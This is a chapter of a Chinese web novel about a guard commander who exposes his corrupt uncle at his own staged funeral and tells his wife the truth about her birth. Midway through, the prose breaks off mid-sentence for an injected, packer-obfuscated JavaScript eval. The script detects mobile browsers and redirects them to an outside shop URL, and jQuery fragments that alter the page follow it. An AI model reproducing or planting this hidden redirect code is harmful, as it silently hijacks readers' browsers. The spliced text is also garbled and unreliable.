123读书网 > 其他小说 > 错诱 > 48. 第 48 章
    他信步而来,越过众人,径直走到她身边,无视众人异样的目光牵起她的手。


    掌心摩挲,似在诉说他来晚了。萧月华朝他微微一笑,悄悄握紧。


    “儿、儿……你没死?”萧严氏也终于回过神,不可思议地瞪大了眼就要上前。


    荣安县主拍了拍手中马鞭,若无其事地拦住了她。


    萧河影也在此时开口发问:“母亲可知,我这舅父此来所为何事?”


    “还能为什么?当然是给我的好外甥奔丧,”架在脖子上的绣春刀也没能阻止严魈的讽刺,“怎的,萧指挥使难不成也是来参加自己的葬礼?”


    他恨,恨眼前之人居然诈死?恨自己的嫡亲大姐,竟然一无所觉?更恨,萧河影竟然擅自做主将所有家产尽数交予那个女人。


    “大姐,这就是你教出来的好儿子吗?”而这一切的罪魁祸首,是萧严氏。


    “我、我……”萧严氏同样的不知所措,眼睁睁看着自己的儿子站在那女人的身侧,眼睁睁看着刀架上自己亲弟的脖颈,“这、这……儿啊,你这是做什么?还不快放了你舅父。”


    “放了他?”萧河影失望地望向自己的母亲,“放了他,然后任由他夺取萧家家产吗?”


    “胡说八道什么?他是你亲舅舅,”一听家产,萧严氏顿时打起精神,声量也高了不少,“他也是听闻你死讯赶来的京城,你怎可这般诋毁?”


    严魈确实有向她提起日后家产分配问题,但,“你舅舅没要我们萧家一个铜板,这些你都是从哪听来的?”


    没要一个铜板?是没要还是来不及?萧河影不禁冷笑,“从淮州至京城日夜兼程最快也需七日,停灵至出殡不过四日,舅父是提前就知道我会死吗?”


    “我也是到了京城才知晓……”倏然住口,严魈不自觉说出了实话。


    “那看来是真巧了,”萧河影嗤笑道,“既如此,舅父能否解释此番来京的目的?我记得,方才,舅父说的可是为我奔丧。”


    “方才,那是气话。”严魈依然嘴硬。


    即使刀刃离得那么近,他仍试图挣扎。萧河影不禁想起了自己的父亲,若是有严魈半分的贪生怕死,今日是否还活着?


    可惜,萧耘志终究不是严魈,他太过认死理,三十余条人命的重量他亦承受不起。


    “儿啊,你别为难你舅舅了好吗?”


    还有他的母亲,一心一意跟着魔似地帮助这个弟弟,从小到大,自幼而老。


    “母亲可知父亲是怎么死的?”


    “别跟我提他,”几乎是下意识地驳斥,萧严氏拢紧衣袖,“现在在说你的舅舅,赶紧让那些人出去,家务事弄那么大阵仗是给谁看?”


    察觉握着自己的手在这一刻攥紧,萧月华未语,指腹轻轻摩挲他的手背。


    他渐渐松了手,慢慢垂下眼眸,“来人,将严魈压入大牢。”


    “萧河影你有什么权利抓我?!”


    “逆子,你舅舅犯什么错了……”


    “伪造图纸、虚报预算,以次充好,倒卖砖石木料,拿着朝廷修缮堤坝的银子中饱私囊,严魈,还要我说下去吗?”


    严魈的脸白了,“……信口雌黄,可有证据?”


    居高临下,萧河影轻蔑地看着他,“你不会以为卢知县恰好是被贬去那的,亦或者,是卢家暗中相助吧?”


    他张着嘴,一脸的不敢置信。


    “萧河影,他是你亲舅舅,你要大义灭亲吗?”


    当萧严氏此话一出,萧河影最后的疑虑也落了地,“我拿着朝廷俸禄,自是替朝廷办事,”缓缓而道,他的声音冷得不带一丝感情,“蒋同知。”


    “属下在。”


    “将一应人等,全部拿下。”


    “萧河影,你疯了吗?”眼见儿子真要对自己亲舅动手,萧严氏嘶吼着抓起香案上的烛台,想也不想地砸向去。


    荣安被萧河影一把拽到一边,他则旋身将萧月华护在怀里。


    殊不知此举愈发激怒了萧严氏,不顾萧大的阻拦,破口大骂道:“萧河影你这个畜生。萧耘志尚且还为了维护这个家,为了萧严两家脸面甘愿自己去死,你呢?设计陷害你亲舅舅,还要娶罪臣之后,你、你不配做你父亲的儿子,你才应该去死。”


    蓦然抬首,萧月华错愕万分,却见注视着自己的那双黑眸,覆着寒霜。


    “没事。”淡淡二字,似千钧重。


    她看着他直起身,腰背处是烛台砸上留下的印记。她听见他冷冷地开口:“萧大,送老夫人回屋,好生照看。”


    “萧河影!”


    “萧河影,我是你娘……”


    扑灭的纸钱化为了灰烬,飞飞扬扬散布在喧闹退去的灵堂。他伫立其中,看着自己的牌位,无声放下。


    “萧指挥使,你要的我已经做到,”荣安看了看萧月华,和二人牵着的手,扬起笑容,“还望指挥使别忘了自己的承诺。”


    萧河影微微颔首,“答应县主的事,萧某绝不会食言。”


    荣安满意地点头,转身之际,“月华妹妹,方才所言绝无虚假。父亲既认你为义女,若是他欺负你,尽可来我靖王府。”


    萧月华盈盈拜下,“多谢靖王,多谢县主。”


    “啊,对了,我兄长说下回再见,他一定将剩下的半本书可找齐了。妹妹届时可要继续给他念,妹妹的声音着实好听。”


    “……好。”


    深秋的寒风从敞开的大门灌入,灵台上那支孤单影只的烛火跳跃了两下终还是灭了,偌大的正堂只剩下来不及摘下白绸随风飘荡,仿佛一切又归于平静。


    萧河影匆匆离去,回府已是半夜,裹挟着一身寒气将她连人带被从床上抱坐在腿上,不由分说朝着睡眼朦胧的脸上亲去。


    “回来了?”萧月华伸手揽上他脖颈,打了哈欠,“严魈招了吗?”


    “你给她哥念过书?”


    几乎同时问出口的俩人,皆是一顿,然后面面相觑。


    “招了,”省去了招供的过程,萧河影继续问道,“念的什么书?”


    “《营造法式》,”诚实地回答,萧月华狐疑地看着他,“那么快招了?”


    “卢叔钰将账簿、证人供词已经送至京城,倒卖的途径和中间参与的掮客皆已查获,证据确凿由不得他不认。现下,他正考虑是否要出卖上下勾连的一众官员,换取一线生机。”啄了啄微张的唇,他知道她在想什么,“我既然答应过卢叔钰,暂不会动卢家,等他自行决断。”


    是弃卒保车,还是断臂求生,卢尚书苦心经营半生,卢叔钰是否能劝说自己的父亲,还是未知。


    况且,圣上迟迟未动卢沉清又何尝不是在给他机会?端看他能不能把握住。所以,萧河影也好奇卢叔钰会怎么做,卢沉清会怎么选?


    不过这些尚无定数,他不能告诉她。


    萧月华挡住又要凑上来的脸,“那严家呢?”


    “抄没家产应是跑不了了。”顿了顿,萧河影抓过她的手,“你还没告诉我,为什么给那姓石的念书?”


    “石大哥说他不识字。”得,她让人给骗了呗,不过现在这不重要,“抄没家产之后,严家人会如何?”


    萧河影睨了她一眼,“严魈不是官,其家人按律发配充军或是流放。但要被他指认出,那些当官的及其家眷也许没那么好的运气了。”


    得到答案,萧月华靠上他肩头。


    “你知道我亲生父亲犯的是什么罪吗?”嗫嚅着轻声问道,她觉得没有真实感,即便萧严氏的话听起来不像假的。


    萧河影沉默了一会,“贪蠹,你的父亲姓岳,是淮州府下属连水县知县,在驻防的营建工事中动了手脚……”


    她坐直了身子,一眼不错地看着他。


    “告发你父亲的,是我爹。”迎着她震惊的目光,萧河影深吸了口气,“你父亲于狱中自裁前将你母亲休弃,爹……他说祸不及妻儿,便将你母亲纳入府中为姨娘。你出生时,姨娘已经疯了……”


    他的母亲却将襁褓中的女娃偷偷丢了出去。


    “月华……”


    “无妨,你继续说。”


    臂弯收紧将她搂进怀里,他还是不敢看她的眼睛,“母亲串通稳婆说孩子死了,父亲虽心疼但也没说什么……我以为,是父亲对母亲的亏欠,直到我偷听到事情的真相,我想找到那个孩子。”


    “为什么找我?”


    “不知道,”无声弯了弯嘴角


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496187|202512||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,萧河影坦诚道,“庆幸的是,我知道当年是谁捡走了那个孩子。”


    他的母亲不知道他一直跟在身后,看着她毫不犹豫的将孩子丢进巷子尽头堆放烂菜垃圾的菜篓子里。他在母亲离开后将孩子抱了出来。


    小小的女娃不哭不闹,睁着两只黑白分明眼睛看着这个世界。他将她留在了那,盛夏的烈日下四周散发着难闻的恶臭。


    他躲在暗处守了许久,纠结若是迟迟没人来,他是要丢下她还是将她捡回来?


    “菜婆一直在那片捡烂菜叶,没人知道她的姓名,我打听之后才知她一年前搬去了城外。当我赶到她的住处,她已经过世了,而你,”蜷曲的指节泛白,他紧紧抱着她,“独自待在门前的雪地里不哭不闹。”


    奄奄一息。


    后来他把她交给了她的亲娘。看着那位发疯的姨娘对着小小的女娃一会哭一会笑,萧河影未将实情告知于她,转身离去。


    “姨娘……你娘并不知道你是她的亲生女儿。抱歉,我没有告诉她,也没告诉任何人。”就像他也不知道为什么要将她重新带回这个家。


    “所以,娘才不喜欢我吗?”


    “……对不起。”


    十二岁的他,萧家长房嫡长子,万千宠爱集于一身,却依然觉得无趣。他觉得这个逃过两次死亡的女娃甚是有趣,或许等她长大了,可以给他无趣的人生添加一些趣味。


    所以,姨娘疯得厉害的时候,他会在院子里给她喂饭。他像一个真正的长兄,天热了吩咐给煮绿豆汤,天冷了叮嘱伺候的丫鬟给她加衣服。她三岁开始习字、念书,也是他不厌其烦地教导。


    她高兴了会笑生气了会闹,经常与那两姊妹吵架,偶尔也会耍小性子。他去庄子上都会带着她,比那两个妹妹还像亲的大哥。


    十六岁那年他偷喝父亲的酒,六岁的她跑去告状。那天,他被爹打得很惨,她笑得见牙不见眼。


    十八岁的时候父亲去了,八岁的她哭得上气不接下气。这一日,他决定报仇,而这个家唯一能成为他助力的,是真正为父亲离去伤心的萧月华。


    她是他的三妹妹,也是最有用的棋子。他不再只教她书上的东西,他教她尔虞我诈、揣测人心,教她利用手边一切可利用的,为达目的不顾一切。


    六年足以让懵懂无知的小姑娘长成少女。她端庄、美丽,进退有度,除了不再笑。


    他不在乎。及笄那天,他送了一支银簪给她,恭贺生辰,她很平静。也是那天,他道出了他做这一切的目的、计划、缘由。


    许久未见她那般生气。她决定助他一臂之力,成为一枚趁手的棋子。他们来到了京城,他向着权势富贵攀登的时候,她在萧家委曲求全,替他掩饰,筛选可利用的人脉……


    十六岁的萧三小姐漂亮、知书达理,长兄又刚上任锦衣卫指挥使,她的裙下之臣也越来越多。十八岁的萧三小姐,拒绝了长兄的提议,她爱上了那个人……


    萧河影从不后悔自己选的路,却害怕此刻背对自己的她,从此对他心灰意冷。


    他依然不后悔将部分实情告诉她。另一部分,这辈子只能深藏于心底的暗处,将随他埋入地下了。


    “娘子,冷吗?”


    她没有理他。伸出的手只得缩了回来,萧河影自知自作孽不可活,无奈起身将被子替她掖好。正寻思着今夜还是去书房将就一晚,待她消了气……


    “你去哪?”她转过身打量他穿了一半的衣裳,“这么晚还要出去吗?”


    “我去书房,”萧河影忽然觉得自己没甚底气,垂下眼眸,“你安心睡,我不吵你。”


    “处理公务吗?”


    “……嗯。”虽然她的声音听着还算平静。


    “等会去,我冷,你先陪我睡觉。”她命令他,不悦地嘟起了嘴。


    萧河影只愣了那么一个瞬间,随即听话地将长袍连同亵衣一块丢去床尾,迅速钻进被窝将她抱在怀里。


    亲了亲不高兴的小嘴,“哪冷?我给你暖暖。”


    “手,还有脚。”


    他的脚缠上她的腿,将那两只冰凉的手握在掌心,“这样好些吗?”


    萧月华抿了抿唇,拉过他的手放在腰间,身子贴了上去……